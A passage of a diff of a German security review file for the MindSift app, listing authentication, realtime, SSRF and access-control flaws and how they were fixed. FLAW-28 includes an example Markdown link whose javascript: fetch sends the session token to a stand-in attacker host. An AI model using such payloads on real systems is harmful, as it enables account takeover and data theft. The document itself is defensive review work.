- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte (3 „Basis-Schema v0.4.1“, 4 „Sitzungen“, 5 „Medien“, 6 „Link-Vorschauen“, 7 „Benachrichtigungen“, 8 „Journal“, 9 „Web-Push“, 10 „Registrierung und Einladungslinks“, 11 „E-Mail-Bestätigung“, 12 „Markierung für Einträge von KI-Agenten“, 13 „Herkunft von Einträgen (API-Schlüssel)“, 14 „Erledigte Aufgaben aufräumen“, 15 „Spracheingabe pro Person“, 16 „Aufbewahrung und Papierkorb für Aufgaben“, 17 „OAuth für den MCP-Zugang“) genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 (`migrateBaseline`) baut das Basisschema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 („Basis-Schema v0.4.1“, `migrateBaseline`) baut das komplette Schema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
## Sicherung
+185 -119
View File
@@ -1,8 +1,8 @@
# Schwachstellen, Risiken & Ideen
# Bekannte Schwachstellen, Risiken & technische Schulden (Flaws)
Stand: Review des Branches `dev` nach v0.5 (Oktober 2026). Die frühere Liste (FLAW-01 bis FLAW-27) ist abgearbeitet und entfernt; ihre Geschichte steht in den Commits. Neue Einträge zählen ab FLAW-28 weiter, damit Verweise in Commits eindeutig bleiben. Jeder Eintrag ist gegen den Quellcode geprüft; die Fundstellen sind angegeben.
Stand: Code-Review des Branches `dev` (Oktober 2026). Jeder Eintrag wurde gegen den Quellcode geprüft; die Fundstellen sind angegeben. Einträge ohne Live-Test sind als *nicht live verifiziert* markiert.
Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** (Schutz greift nicht oder Fehlfunktion unter realistischen Bedingungen), **Niedrig** (Härtung, Datenschutz, Wartbarkeit).
Schweregrade: **Hoch** (Datenabfluss oder Rechteumgehung möglich), **Mittel** (Fehlfunktion oder Schutz greift nicht), **Niedrig** (Wartbarkeit, Komfort, Hygiene).
---
@@ -10,142 +10,208 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
| ID | Bereich | Kurzbeschreibung | Schwere |
|---|---|---|---|
| FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** |
| FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** |
| FLAW-30 | Konto | ~~Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern~~ | **Behoben** |
| FLAW-31 | Auth | ~~Sitzungs-Token 30 Tage gültig und im `localStorage`~~ | **Teilweise behoben** |
| FLAW-32 | Daten | ~~IDs und Einladungscodes haben nur 40 Bit Zufall~~ | **Behoben** |
| FLAW-33 | Demo | ~~Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen)~~ | **Behoben** |
| FLAW-34 | Admin | ~~SMTP-Passwort im Klartext an die Oberfläche~~, in DB und Datenbank-Backups | **Teilweise behoben** |
| FLAW-35 | Netzwerk | ~~Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=`~~ | **Behoben** |
| FLAW-36 | Backend | ~~Kein allgemeines Größenlimit für JSON-Anfragen~~ | **Behoben** |
| FLAW-37 | Datenschutz | ~~Konto löschen entfernt die Server-Backups des Kontos nicht~~ | **Behoben** |
| FLAW-38 | Betrieb | ~~`WriteTimeout` von 30 s bricht große Downloads ab~~ | **Behoben** |
| FLAW-39 | Auth | ~~Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse~~ | **Behoben** |
| FLAW-40 | Auth | ~~Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar~~ | **Behoben** |
| FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
| FLAW-01 | Realtime | ~~`BroadcastToAll` sendet Aufgaben- und Listendaten an alle Verbindungen~~ | **Behoben** |
| FLAW-02 | Realtime | ~~Räume ohne Berechtigungsprüfung~~ | **Behoben** |
| FLAW-03 | Aufgaben | ~~`ReorderTasks` ändert beliebige Aufgaben per ID (IDOR)~~ | **Behoben** |
| FLAW-04 | Auth | ~~Fest eincodiertes Fallback-`JWT_SECRET`~~ | **Behoben** |
| FLAW-05 | Benachrichtigungen | ~~Discord-/Webhook-URLs ungeprüft (SSRF)~~ | **Behoben** |
| FLAW-06 | Aufgaben | ~~Jeder Editor einer Aufgabenliste kann sie per `teamId` an weitere Gruppen freigeben~~ | **Behoben** |
| FLAW-07 | Auth | ~~Ein API-Key ist ein Vollzugriff~~ | **Behoben** |
| FLAW-08 | Auth | ~~Webhook-Ingest mit JWT prüft weder Sperrliste noch `token_version` noch `is_active`~~ | **Behoben** |
| FLAW-09 | Auth | ~~Kein Rate-Limit, keine Sperre bei Fehlversuchen, Mindestpasswort 4 Zeichen~~ | **Behoben** |
| FLAW-10 | Freigaben | ~~`sharing_mode` wird bei Freigaben nicht durchgesetzt; Benutzerverzeichnis leakt alle Konten~~ | **Behoben** |
| FLAW-11 | Workspace | ~~Block-Upsert (`ON CONFLICT(id)`) prüft das Dokument nicht~~ | **Behoben** |
| FLAW-12 | Benachrichtigungen | ~~`notify_before_minutes` wirkungslos; Alarm feuert nach Umplanung nie wieder; endlose Wiederholung bei Fehlern~~ | **Behoben** |
| FLAW-13 | Datenbank | ~~Keine Schema-Versionierung; Migrationsfehler werden verschluckt; `migrations/001_init.sql` ist toter Code~~ | **Behoben** |
| FLAW-14 | Backend | ~~Fehler von Schreiboperationen werden häufig ignoriert (`_, _ =`)~~ | **Behoben** |
| FLAW-15 | Realtime | ~~`WriteTimeout` von 30 s beendet SSE-Streams~~ | **Behoben** |
| FLAW-17 | Workspace | ~~Bearbeiter-Freigaben für Notizen nicht wählbar~~ | **Behoben** |
| FLAW-18 | Suche | ~~Nur eigene Gedanken und Dokumente, `LIKE` ohne Escaping, keine FTS~~ | **Behoben** |
| FLAW-19 | Qualität | ~~Frontend-Tests nur für den Outliner, `lint` ist ein Platzhalter~~ | **Behoben** |
| FLAW-20 | Qualität | ~~Große Go-Dateien, duplizierte Zugriffslogik~~; große Frontend-Dateien | Niedrig |
| FLAW-21 | Repo | ~~`LICENSE` fehlt, obwohl README MIT angibt~~ | **Behoben** |
| FLAW-22 | Netzwerk | ~~Token in der URL (WS/SSE), CORS `*`, `CheckOrigin` immer `true`~~ | **Behoben** |
| FLAW-23 | SQLite | ~~`SQLITE_BUSY` bei vielen gleichzeitigen Schreibern~~ | **Behoben** |
| FLAW-24 | Gruppen | ~~Organisations-Endpunkte ohne Berechtigungsprüfung~~ | **Behoben** |
| FLAW-25 | Workspace | ~~Struktur-Aktionen an fremd gesperrten Bullets nur teilweise ausgeführt~~ | **Behoben** |
| FLAW-26 | Workspace | ~~Nach Enter landet sehr schnell Getipptes noch im vorherigen Bullet~~ | **Behoben** |
| FLAW-27 | Listen | ~~Listeneinträge ohne Berechtigungsprüfung änderbar (IDOR)~~ | **Behoben** |
---
## Details
### FLAW-28: `javascript:`-Links in Markdown
- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`.
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
### FLAW-01: Broadcast an alle Verbindungen (Datenabfluss)
- **Status: Behoben.** `BroadcastToAll` existiert nicht mehr. Aufgabenereignisse gehen an Eigentümer und Benutzer der Liste (`GetTaskListUserIDs`), Listenereignisse tragen nur noch die ID, Ordnerereignisse gehen an Benutzer bzw. Ordnerbeteiligte (`GetSharedFolderUserIDs`). Test: `TestTaskEventsOnlyReachAuthorizedUsers`.
- **Fundstellen:** [`internal/ws/hub.go`](../internal/ws/hub.go) `BroadcastToAll`; Aufrufer in [`internal/api/server.go`](../internal/api/server.go): `handleUpdateThought` (`TASK_UPDATED`), `handleDeleteThought` (`TASK_DELETED`), `handleReorderTasks` (`TASK_REORDERED`), `handleUpdateTaskList`, `handleCreateTaskListShare`, `handleDeleteTaskListShare` (`TASK_LIST_UPDATED`), `handleDeleteTaskList`.
- **Problem:** `BroadcastToAll` schreibt an `allClients` und `sseClients`. Dazu zählen auch Verbindungen mit `userID = "anonymous"`, denn `handleWebSocket` und `handleSSE` liegen außerhalb der Auth-Gruppe und lassen jede Verbindung zu. Der vollständige Aufgabeninhalt (Titel, Notizen, Unteraufgaben) und die Listen samt Mitgliedern gehen so an jeden, der `/api/v1/events` öffnet.
- **Maßnahme:** Ereignisse an die berechtigten Nutzer adressieren (wie bei `DOC_*` über `GetAuthorizedDocUsers`), unauthentifizierte Verbindungen ablehnen.
### FLAW-29: Keine Sicherheits-Header
- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
### FLAW-02: Räume ohne Berechtigungsprüfung
- **Status: Behoben.** `/ws` und `/events` verlangen ein gültiges Token (sonst `401`). Jeder Raumbeitritt läuft über `Hub.SetRoomAuthorizer` → `Server.canJoinRoom` (Notiz bzw. Liste muss lesbar sein). `/events/rooms` liegt hinter der Anmeldung und akzeptiert nur die eigene `sseId`. Tests: `TestRealtimeEndpointsRequireAuth`, `TestSSERoomJoinRequiresAccess`, `TestRoomJoinsRequireAuthorization`.
- **Fundstellen:** `Hub.readPump` (`JOIN_ROOM`), `handleSSERooms` (Route `/api/v1/events/rooms` liegt **außerhalb** der Auth-Gruppe), `Hub.Register` (Raum aus `?listId=`/`?spaceId=`).
- **Problem:** Wer eine Raum-ID kennt (`doc:<id>`, Listen-ID), tritt bei und erhält Inhalte wie `DOC_BLOCKS_PATCHED` oder `ITEM_*`. Raum-IDs tauchen in Ereignissen auf und sind nicht geheim. Für den SSE-Beitritt reicht die `sseId`, die der Server selbst im Stream mitsendet.
- **Maßnahme:** Beitritt nur nach Zugriffsprüfung (`GetDocumentByID`, `GetListByID`); `/events/rooms` hinter `authMiddleware`.
### FLAW-30: Passwort und E-Mail ohne aktuelles Passwort änderbar
- **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`).
- **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`).
- **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse.
- **Status: Behoben.** `PATCH /auth/settings` verlangt für `password` und `email` das aktuelle Passwort (`checkCurrentPassword`); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: `TestPasswordChangeNeedsCurrentPassword`.
### FLAW-03: `ReorderTasks` ohne Zugriffsprüfung (IDOR)
- **Status: Behoben.** `handleReorderTasks` lehnt die ganze Anfrage ab, sobald eine Aufgabe nicht zugreifbar (`404`) oder schreibgeschützt (`403`) ist. Test: `TestReorderRejectsForeignTasks`.
- **Fundstelle:** `Store.ReorderTasks` (`UPDATE thoughts SET sort_order … WHERE id = ?`) und `handleReorderTasks`.
- **Problem:** Die SQL-Anweisung ist weder auf `user_id` noch auf die Liste eingeschränkt. Jeder angemeldete Nutzer kann `sortOrder`, `kanbanStatus` und damit `isCompleted` fremder Aufgaben ändern, sofern er die ID kennt. Die Leser-Prüfung für Aufgabenlisten überspringt Aufgaben, auf die der Nutzer gar keinen Zugriff hat (`GetThoughtByID` liefert dann einen Fehler), und schützt davor nicht.
- **Maßnahme:** Jede ID gegen `accessibleTaskListIDsQuery` bzw. `user_id` prüfen und bei Verstoß ablehnen.
### FLAW-31: Langlebige Sitzung im `localStorage`
- **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts).
- **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
- **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
- **Status: Teilweise behoben.** Serverseitige Sitzungen (`sessions`, [sessions.go](../internal/api/sessions.go)): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über `X-Session-Token` erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im `localStorage`; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: `TestSessionsListEndAndLogout`, `TestSessionTokenRenewedWhenOld`.
### FLAW-04: Fallback-JWT-Secret
- **Status: Behoben.** Fehlt `JWT_SECRET` oder ist es ein bekannter Platzhalter, erzeugt der Server 32 Zufallsbytes und speichert sie als `jwt.secret` (Rechte 0600) im Datenverzeichnis; ein Hinweis steht im Log. Test: `internal/config/config_test.go`.
- **Fundstelle:** [`internal/config/config.go`](../internal/config/config.go): `getEnv("JWT_SECRET", "mindsift-default-selfhosted-jwt-secret-key-2026")`; `docker-compose.yml` und `.env.example` liefern ebenfalls einen Platzhalter.
- **Problem:** Wer `JWT_SECRET` nicht setzt (oder den Platzhalter behält), läuft mit einem öffentlich bekannten Schlüssel. Damit lassen sich gültige Tokens für jede Benutzer-ID fälschen. `install.sh` erzeugt zwar ein Secret, andere Installationswege nicht.
- **Maßnahme:** Start verweigern oder Secret beim ersten Start erzeugen und in `/data` ablegen.
### FLAW-32: Nur 40 Bit Zufall in IDs
- **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab.
- **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
- **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
- **Status: Behoben.** `NewID` nutzt 12 Zufallsbytes, alte IDs bleiben gültig. Einladungscodes haben eigene 100 Bit in Base32 (`INV-ABCDE-FGHIJ-KLMNO-PQRST`, `newInviteCode`); bereits ausgegebene Codes funktionieren weiter.
### FLAW-05: SSRF über Alarm-URLs
- **Status: Behoben.** [netguard.go](../internal/api/netguard.go): URLs werden beim Speichern und vor jedem Versand geprüft (https Pflicht, Discord nur `discord.com/api/webhooks/`). Der HTTP-Client löst den Host selbst auf und verbindet nur zu erlaubten IPs: localhost, Link-Local/Cloud-Metadaten sind immer gesperrt, Heimnetz-Bereiche (RFC 1918, ULA, CGNAT/Tailscale) und http nur mit dem Admin-Schalter „Alarm-Webhooks ins lokale Netz erlauben“. Keine Umgebungs-Proxys, höchstens 3 Weiterleitungen.
- **Fundstellen:** `handleUpdateUserSettings` (keine Validierung), `sendDiscordNotification`, `sendCustomWebhookNotification`.
- **Problem:** Jeder Nutzer kann beliebige URLs hinterlegen. Der Server sendet POST-Anfragen dorthin, auch an interne Adressen (`http://169.254.169.254`, Docker-Netz, `localhost`). Über `handleTestUserAlarm` lässt sich das sofort auslösen.
- **Maßnahme:** Nur `https`, Discord-Host prüfen, private/Loopback-Adressen beim Verbinden sperren.
### FLAW-33: Öffentliche Demo als Absender missbrauchbar
- **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)).
- **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
- **Ausgehende Anfragen:** Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
- **Maßnahme:** Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.
- **Status: Behoben.** Im Demo-Modus verweigern die Sender für Mail, Discord und Webhooks (`errDemoOutgoing`), der Alarm-Ticker läuft nicht. `notInDemo` ([demo.go](../internal/api/demo.go)) beantwortet mit `403` „In der Demo deaktiviert“: Test-Alarm, SMTP-Test, Server-Einstellungen speichern, Backup starten, Konten anlegen/ändern/löschen, Passwort-Reset durch Admins, „Alle Sitzungen beenden“, einzelne Geräte abmelden, eigenes Konto löschen; Passwort und E-Mail sind im Profil gesperrt. Weil sich alle Besucher die Demo-Konten teilen, zeigt die Sitzungsliste nur das eigene Gerät. Die Oberfläche zeigt die Hinweise und deaktiviert die Schalter. Test: `TestDemoSendsNothingAndKeepsAccounts`.
### FLAW-06: Editor kann Aufgabenliste weiterteilen
- **Status: Behoben.** Das Feld `task_lists.team_id` ist entfernt; Freigaben gibt es nur noch über `task_list_shares`, und die legt nur der Eigentümer an.
- **Fundstelle:** `Store.UpdateTaskList` (`teamID`-Zweig ruft `AddTaskListShare`); `handleUpdateTaskList` prüft nur, dass der Nutzer **kein** Leser ist.
- **Problem:** `POST /task-lists/{id}/shares` ist Eigentümern vorbehalten. Über `PUT /task-lists/{id}` mit `teamId` kann aber jeder Editor die Liste einer weiteren Gruppe zuweisen (mit Schreibrecht) und die Zuweisung der bisherigen Gruppe aufheben.
- **Maßnahme:** `teamId`-Änderungen nur für den Eigentümer; das Legacy-Feld `task_lists.team_id` zugunsten von `task_list_shares` abschaffen.
### FLAW-34: SMTP-Passwort im Klartext
- **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`.
- **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
- **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank.
- **Status: Teilweise behoben.** `GET`/`PUT /admin/settings` liefern `smtpPass` immer leer und `smtpPassSet`; ein leeres Feld behält das gespeicherte Passwort, ohne SMTP-Benutzer wird es entfernt. In der Datenbank und ihren Abzügen steht es weiter im Klartext (der Server braucht es zum Anmelden); wer das nicht will, setzt `SMTP_HOST`/`SMTP_PASS` per Umgebung und lässt die Felder im Admin-UI leer. Test: `TestSMTPPasswordNeverReturned`.
### FLAW-07: API-Key-Scopes ohne Wirkung
- **Status: Behoben.** API-Keys dürfen nur `POST /inbox` und `POST /webhooks/ingest` nutzen (`apiKeyAllowed`), und nur für die Ziele ihrer Scopes: `webhook:triage`, `webhook:task`, `webhook:list` (`requireDeliveryScope`, sonst `403`). Live-Streams (WebSocket/SSE) nehmen keine Keys an. Alte Keys bekamen `webhook:triage`. Auswahl und Badges in den Kontoeinstellungen. Test: `TestAPIKeysOnlyDeliverData`.
- **Fundstellen:** Tabelle `api_keys.scopes` (Standard `ingest,read`), `authMiddleware`.
- **Problem:** Ein Key mit Präfix `mindsift_sec_` authentifiziert als der Benutzer, mit allen Rechten: alle `/api/v1`-Routen, bei Admins auch `/admin/*`, außerdem das Anlegen weiterer Keys. Für Webhooks (nur Aufgaben anlegen) ist das überdimensioniert.
- **Maßnahme:** Scopes auswerten; Keys standardmäßig nur auf `/inbox` und `/webhooks/ingest` beschränken.
### FLAW-35: `?token=` beim Webhook-Ingest
- **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go).
- **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
- **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
- **Status: Behoben.** `?token=` nimmt nur noch `mindsift_sec_…` an, sonst `401`. Test: `TestWebhookTokenInURLOnlyAPIKey`.
### FLAW-08: Webhook-Ingest umgeht Sitzungsprüfung
- **Status: Behoben.** Middleware und Webhook-Ingest nutzen dieselbe Prüfung (`authenticateToken`): Sperrliste, `token_version`, aktives Konto. Test: `TestAPIKeysOnlyDeliverData`.
- **Fundstelle:** `handleWebhookIngest`, JWT-Zweig.
- **Problem:** Das Token wird nur kryptografisch validiert. `IsTokenRevoked`, `token_version` und `is_active` werden nicht geprüft; ein ausgeloggtes oder deaktiviertes Konto kann weiter Aufgaben anlegen (bis Token-Ablauf nach 30 Tagen).
- **Maßnahme:** Dieselbe Prüfkette wie in `authMiddleware` verwenden (gemeinsame Funktion statt Kopien; siehe auch `authenticateUserFromReq`).
### FLAW-36: Kein allgemeines Größenlimit für Anfragen
- **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
- **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
- **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
- **Status: Behoben.** `bodyLimit` ([bodylimit.go](../internal/api/bodylimit.go)) begrenzt jeden Anfragekörper auf 2 MB; Notiz-Sync 8 MB, Importe 101 MB. Test: `TestRequestBodyLimited`.
### FLAW-09: Kein Schutz gegen Brute-Force
- **Status: Behoben.** Login-Sperre nach Fehlversuchen (Konto + Adresse 3, Konto 20, Adresse 30, je 15 Minuten, `429` mit `Retry-After`); `X-Forwarded-For` wird nur noch von vertrauenswürdigen Proxys übernommen (`TRUSTED_PROXIES`). Abschaltbar mit `LOGIN_PROTECTION=false`. Tests: `internal/api/loginguard_test.go`.
- Neue Passwörter brauchen überall mindestens 8 Zeichen (Setup, Registrierung, Profil, Admin-Anlage und -Reset, Reset per Mail), geprüft zentral in `auth.ValidatePassword` und vorab im Browser (`lib/password.ts`). Bestehende kürzere Passwörter funktionieren beim Anmelden weiter.
- **Fundstellen:** `handleLogin`, `handleRegister`, `handleFirstBootSetup`.
- **Problem:** Weder Rate-Limit noch Sperre; `middleware.RealIP` vertraut `X-Forwarded-For` ungeprüft. Mindestpasswortlänge ist 4 Zeichen. Der Login-Pfad ist so über das Internet raten- und durchprobierbar.
- **Maßnahme:** Rate-Limit je IP und Konto, längeres Mindestpasswort.
### FLAW-37: Server-Backups überleben das gelöschte Konto
- **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)).
- **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
- **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
- **Status: Behoben.** Konto löschen (selbst oder durch Admins) entfernt `backups/users/<id>/` (`removeUserBackups`, nur dieser eine Ordner). Die Datenbank-Abzüge enthalten das Konto bis zum Ablauf der Aufbewahrung; das gehört in die Datenschutzerklärung der jeweiligen Instanz. Test: `TestDeletedAccountLosesServerBackups`.
### FLAW-10: `sharing_mode` wird nicht durchgesetzt
- **Status: Behoben.** Modi `private`/`organizations`/`open`, zentral durchgesetzt über `Store.CanSee`/`CanShareWith` in Verzeichnis, allen Freigaben und Gruppen; Rechte werden bei Sichtbarkeitsverlust bereinigt ([sharing-and-permissions.md](sharing-and-permissions.md)). Test: `internal/storage/visibility_test.go`.
- **Fundstellen:** `Store.GetDiscoverableUsers`, `Store.GetCollaborators`; Share-Handler in `server.go`.
- **Problem:**
1. Der Modus beeinflusst nur `GetDiscoverableUsers`. In `teams_only` liefert die Funktion trotzdem **alle** Benutzer (`if … mode == "open" || mode == "teams_only" { return GetAllUsers() }`).
2. `GET /collaborators` ignoriert den Modus komplett und liefert alle aktiven Konten mit E-Mail-Adresse.
3. Keine der Share-Funktionen prüft den Modus. `strict_private` und `teams_only` verhindern Freigaben nicht, wenn man die Ziel-ID kennt.
- **Maßnahme:** Eine zentrale Funktion `canShareWith(owner, target)` und in allen Share-Handlern verwenden; Verzeichnisse darauf einschränken.
### FLAW-38: Große Downloads brechen nach 30 s ab
- **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`).
- **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
- **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE.
- **Status: Behoben.** `allowLongTransfer` gibt Backup-Downloads, Exporten (JSON/ZIP, Markdown-Archiv) und Import-Uploads 30 Minuten Lese- und Schreibzeit; vorher brachen auch große Importe nach 15 s Lesezeit ab.
### FLAW-11: Block-Upsert prüft das Dokument nicht
- **Status: Behoben.** Alle Blockänderungen laufen über `Store.applyDocChange`: Einfügen mit einer Block-ID aus einer anderen Notiz wird abgelehnt (`exists`), und der Upsert ändert nur Zeilen derselben Notiz (`WHERE blocks.document_id = excluded.document_id`). Test: `TestInsertCannotReuseBlockIDOfAnotherNote`.
- **Fundstelle:** `Store.PatchDocumentBlocks`, `INSERT INTO blocks … ON CONFLICT(id) DO UPDATE`.
